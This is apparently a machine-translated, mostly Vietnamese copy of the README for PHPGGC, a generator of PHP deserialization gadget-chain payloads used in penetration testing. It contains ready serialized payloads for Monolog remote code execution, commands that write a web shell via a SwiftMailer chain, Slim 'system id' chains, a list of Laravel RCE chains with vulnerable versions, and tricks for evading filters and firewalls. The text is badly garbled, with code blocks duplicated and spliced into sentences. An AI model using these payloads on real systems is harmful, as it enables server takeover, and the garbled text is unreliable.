O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
7 (
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
8), sẽ đảm bảo đối tượng tuần tự hóa của bạn sẽ bị phá hủy ngay sau cuộc gọi
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
9 và không ở cuối tập lệnh. Tôi khuyên bạn nên sử dụng nó cho mỗi vectơ
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
0, vì nó cải thiện độ tin cậy. Chẳng hạn, nếu tập lệnh PHP tăng một ngoại lệ sau cuộc gọi, phương thức
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
0 của đối tượng của bạn có thể không được gọi. Vì nó được xử lý cùng lúc với bộ mã hóa, nó cần được đặt đầu tiên.I'd recommend using it for every
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
0 vector
, as it improves reliability. For instance, if PHP script raises an exception after the call, the
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
0 method of your object might not be called. As it is processed at the same time as encoders, it needs to be set first.

$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...

Chuỗi ASCII

Sử dụng định dạng tuần tự hóa

$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
2 thay vì tiêu chuẩn
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
3. Điều này thay thế cho mọi char không ASCII thành một đại diện thập lục phân:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
4->
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
5 Điều này có thể hữu ích khi một số lý do không được phép ký tự không ASCII (ví dụ: null byte). Vì tải trọng thường chứa chúng, điều này đảm bảo rằng tải trọng chỉ bao gồm các giá trị ASCII. Lưu ý: Đây là thử nghiệm và nó có thể không hoạt động trong một số trường hợp.

Dây áo giáp

Sử dụng định dạng tuần tự hóa

$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
2 thay vì tiêu chuẩn
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
3. Điều này thay thế cho mọi char thành một đại diện thập lục phân:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
4 ->
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
9 Điều này có ích khi tường lửa hoặc mã PHP chặn chuỗi. Lưu ý: Đây là thử nghiệm và nó có thể không hoạt động trong một số trường hợp. Lưu ý: Điều này làm cho mỗi chuỗi trong tải trọng phát triển theo hệ số 3.

Cộng với số

Đôi khi, các tập lệnh PHP xác minh rằng tải trọng được nối tiếp đã cho không chứa các đối tượng bằng cách sử dụng regex như


$data = unserialize($_GET['data']);
print $data['message'];
0. Điều này dễ dàng được bỏ qua bằng cách sử dụng

$data = unserialize($_GET['data']);
print $data['message'];
1 thay vì

$data = unserialize($_GET['data']);
print $data['message'];
2. Người ta có thể sử dụng

$data = unserialize($_GET['data']);
print $data['message'];
3 hoặc

$data = unserialize($_GET['data']);
print $data['message'];
4, để tự động thêm các dấu hiệu

$data = unserialize($_GET['data']);
print $data['message'];
5 này trước các ký hiệu. Chẳng hạn, để che giấu các đối tượng và chuỗi, người ta có thể sử dụng:

$data = unserialize($_GET['data']);
print $data['message'];
6. Xin lưu ý rằng vì các loại Php 7.2, chỉ các loại

$data = unserialize($_GET['data']);
print $data['message'];
7 và

$data = unserialize($_GET['data']);
print $data['message'];
8 (phao) có thể có

$data = unserialize($_GET['data']);
print $data['message'];
5.

Kiểm tra chuỗi của bạn

Để kiểm tra xem chuỗi tiện ích bạn muốn sử dụng các công trình trong môi trường được nhắm mục tiêu, hãy nhảy vào thư mục môi trường của bạn và chạy không có đối số chuỗi, với tùy chọn


# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}
0.

Chẳng hạn, để kiểm tra xem


# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}
1 có hoạt động trên Symfony

# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}
2:

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

0

Mã thoát sẽ là


# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}
3 nếu tải trọng được kích hoạt,

# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}
4 nếu không.

Kiểm tra chuỗi của bạn với mọi phiên bản của một gói

Nếu bạn muốn biết phiên bản nào của gói một chuỗi tiện ích hoạt động chống lại, bạn có thể sử dụng


# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}
5.

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

1

API

Thay vì sử dụng PHPGGC làm công cụ dòng lệnh, bạn có thể lập trình tập lệnh PHP:

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

2

Điều này cho phép bạn điều chỉnh các tham số hoặc viết khai thác dễ dàng hơn. Lưu ý: Đây là thử nghiệm khá tốt vào lúc này, vì vậy xin vui lòng, báo cáo lỗi.

Đóng góp

Yêu cầu kéo được nhiều hơn chào mừng. Vui lòng làm theo các hướng dẫn đơn giản này:

  • $ ./phpggc -l laravel
    
    Gadget Chains
    -------------
    
    NAME             VERSION            TYPE                   VECTOR        I    
    Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
    Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
    Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
    Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
    Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
    Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
    Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
    Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
    Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
    Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         
    
    
    4 luôn là vectơ tốt nhất
  • Chỉ định ít nhất phiên bản của thư viện bạn đã xây dựng tải trọng trên
  • Không bao gồm các tham số không được sử dụng trong định nghĩa tiện ích nếu chúng giữ giá trị mặc định của chúng. Nó chỉ làm cho tải trọng lớn hơn.
  • Kiểu mã tôn trọng: Ví dụ, mở ngoặc
    
    # /tmp/my_wrapper.php
    function process_object($object)
    {
        return array(
            'message' => $object
        );
    }
    7 nằm trên một dòng mới và các mảng nên được viết là
    
    # /tmp/my_wrapper.php
    function process_object($object)
    {
        return array(
            'message' => $object
        );
    }
    8 thay vì ký hiệu cũ,
    
    # /tmp/my_wrapper.php
    function process_object($object)
    {
        return array(
            'message' => $object
        );
    }
    9.

CodeWise, cấu trúc thư mục khá đơn giản: các tiện ích trong các tiện ích.php, Mô tả + logic trong chuỗi.php. Bạn có thể xác định các phương thức xử lý trước và sau, nếu các tham số cần được sửa đổi. Hy vọng rằng, các tiện ích đã được triển khai là đủ để bạn xây dựng của bạn. Nếu không, tôi rất vui khi trả lời câu hỏi của bạn.

Tùy chọn dòng lệnh

$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
0 có thể được sử dụng để tạo thư mục và cấu trúc tệp cho chuỗi tiện ích mới. Chẳng hạn, sử dụng
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
1 sẽ tạo ra một thiết bị drupal rce mới.

Docker

Nếu bạn không muốn cài đặt PHP, bạn có thể sử dụng

$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
2.

Giấy phép

Giấy phép Apache 2.0